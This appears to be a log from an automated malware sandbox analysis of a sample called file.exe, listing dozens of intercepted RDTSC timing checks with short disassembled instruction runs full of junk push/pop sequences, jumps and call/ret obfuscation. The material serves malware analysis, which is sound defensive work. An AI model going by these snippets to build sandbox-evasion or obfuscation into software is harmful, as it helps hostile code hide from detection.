Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120248 second address: 1120273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F528074EBD6h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007F528074EBE2h 0x00000014 pop esi 0x00000015 pushad 0x00000016 push ebx 0x00000017 pushad 0x00000018 popad 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120273 second address: 1120277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120505 second address: 112050B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112050B second address: 112051C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F528105F32Ch 0x0000000b jc 00007F528105F326h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112051C second address: 1120521 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11206D0 second address: 11206E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F528105F326h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113BA3 second address: 1113BC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F528074EBE4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11209ED second address: 1120A0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F333h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F528105F326h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120A0C second address: 1120A12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120A12 second address: 1120A33 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F528105F334h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1120A33 second address: 1120A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 jc 00007F528074EBD6h 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121120 second address: 112112A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F528105F326h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112112A second address: 1121154 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F528074EBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F528074EBE7h 0x00000010 jne 00007F528074EBD6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121283 second address: 1121287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121287 second address: 11212B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F528074EBE1h 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007F528074EBD6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11212B0 second address: 11212B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11212B4 second address: 11212B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124A2A second address: 1124A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124D8A second address: 1124D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125F31 second address: 1125F37 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125F37 second address: 1125F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125F3D second address: 1125F4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F528105F32Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125F4D second address: 1125FAD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F528074EBE7h 0x0000000e pushad 0x0000000f jmp 00007F528074EBE2h 0x00000014 jmp 00007F528074EBE8h 0x00000019 jno 00007F528074EBD6h 0x0000001f jmp 00007F528074EBDBh 0x00000024 popad 0x00000025 push edi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125FAD second address: 1125FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8A6B second address: 10E8A6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8A6F second address: 10E8A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8A75 second address: 10E8A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F528074EBE8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C68D second address: 112C697 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F528105F326h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C697 second address: 112C6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a jmp 00007F528074EBE5h 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C6B9 second address: 112C6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C7E3 second address: 112C7E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C933 second address: 112C938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112C938 second address: 112C93F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EDB6 second address: 112EDBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EDBA second address: 112EDD1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F528074EBDFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EDD1 second address: 112EDD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EEE8 second address: 112EEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EEEC second address: 112EF08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F528105F328h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 je 00007F528105F32Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F082 second address: 112F086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F296 second address: 112F2A0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F528105F326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F2A0 second address: 112F2AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F528074EBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FA7E second address: 112FA93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F528105F331h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FA93 second address: 112FAD3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F528074EBD8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov di, CB62h 0x00000029 mov esi, dword ptr [ebp+122D1C99h] 0x0000002f nop 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 push esi 0x00000034 pop esi 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FAD3 second address: 112FB0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F339h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F528105F333h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FBB9 second address: 112FBDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F528074EBE7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FBDB second address: 112FBE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FD47 second address: 112FD4C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FEDA second address: 112FEDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130084 second address: 11300A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007F528074EBDCh 0x0000000b jbe 00007F528074EBD6h 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F528074EBDDh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11300A6 second address: 11300AB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11305DA second address: 11305E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11305E0 second address: 11305FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F330h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130EB0 second address: 1130EB5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130EB5 second address: 1130ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F528105F32Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130ECB second address: 1130F0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F528074EBDBh 0x00000008 jg 00007F528074EBD6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 jc 00007F528074EBDBh 0x00000018 and si, 741Ch 0x0000001d push 00000000h 0x0000001f add esi, dword ptr [ebp+122D39EAh] 0x00000025 push 00000000h 0x00000027 sub edi, dword ptr [ebp+122D1AB6h] 0x0000002d jg 00007F528074EBD8h 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130F0C second address: 1130F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130F13 second address: 1130F18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130F18 second address: 1130F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528105F32Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130F31 second address: 1130F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130F36 second address: 1130F3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113175E second address: 113177C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528074EBE9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113177C second address: 1131783 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113391F second address: 1133925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11349F4 second address: 11349F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11349F9 second address: 11349FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1135474 second address: 1135479 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136A35 second address: 1136A3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BAB4 second address: 113BB28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F528105F330h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e add dword ptr [ebp+122D1C58h], edx 0x00000014 push 00000000h 0x00000016 mov edi, 71A760D2h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007F528105F328h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 ja 00007F528105F332h 0x0000003d xchg eax, esi 0x0000003e jng 00007F528105F32Eh 0x00000044 jbe 00007F528105F328h 0x0000004a pushad 0x0000004b popad 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 jns 00007F528105F326h 0x00000056 push edx 0x00000057 pop edx 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113C91F second address: 113C92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E921 second address: 113E92B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F528105F326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CAC4 second address: 113CAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E92B second address: 113E935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F528105F326h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CAC8 second address: 113CACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E935 second address: 113E939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CACC second address: 113CADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F528074EBD6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113CC1A second address: 113CC1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EED8 second address: 113EF2F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F528074EBE0h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push ebx 0x0000000e jp 00007F528074EBD6h 0x00000014 pop ebx 0x00000015 pop ecx 0x00000016 nop 0x00000017 movsx edi, si 0x0000001a push 00000000h 0x0000001c mov bh, 9Eh 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F528074EBD8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a stc 0x0000003b xchg eax, esi 0x0000003c push ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f jo 00007F528074EBD6h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EF2F second address: 113EF46 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 js 00007F528105F334h 0x0000000e pushad 0x0000000f jnc 00007F528105F326h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11441CE second address: 11441F9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F528074EBE2h 0x00000008 push ebx 0x00000009 jmp 00007F528074EBE4h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11447EA second address: 11447EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11447EF second address: 1144815 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F528074EBDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F528074EBE3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11449E1 second address: 11449EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F528105F326h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1146902 second address: 1146918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F528074EBDCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AF3E second address: 114AFA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F32Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D35AEh], edx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F528105F328h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D1C87h] 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F528105F328h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e mov ebx, dword ptr [ebp+124544CAh] 0x00000054 xchg eax, esi 0x00000055 push ecx 0x00000056 js 00007F528105F32Ch 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1146A67 second address: 1146A79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F528074EBDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147954 second address: 114795A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114795A second address: 114795E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114BF5B second address: 114BF5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145966 second address: 114596A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CE86 second address: 114CE8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114B1A1 second address: 114B1A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114E01C second address: 114E031 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F528105F328h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
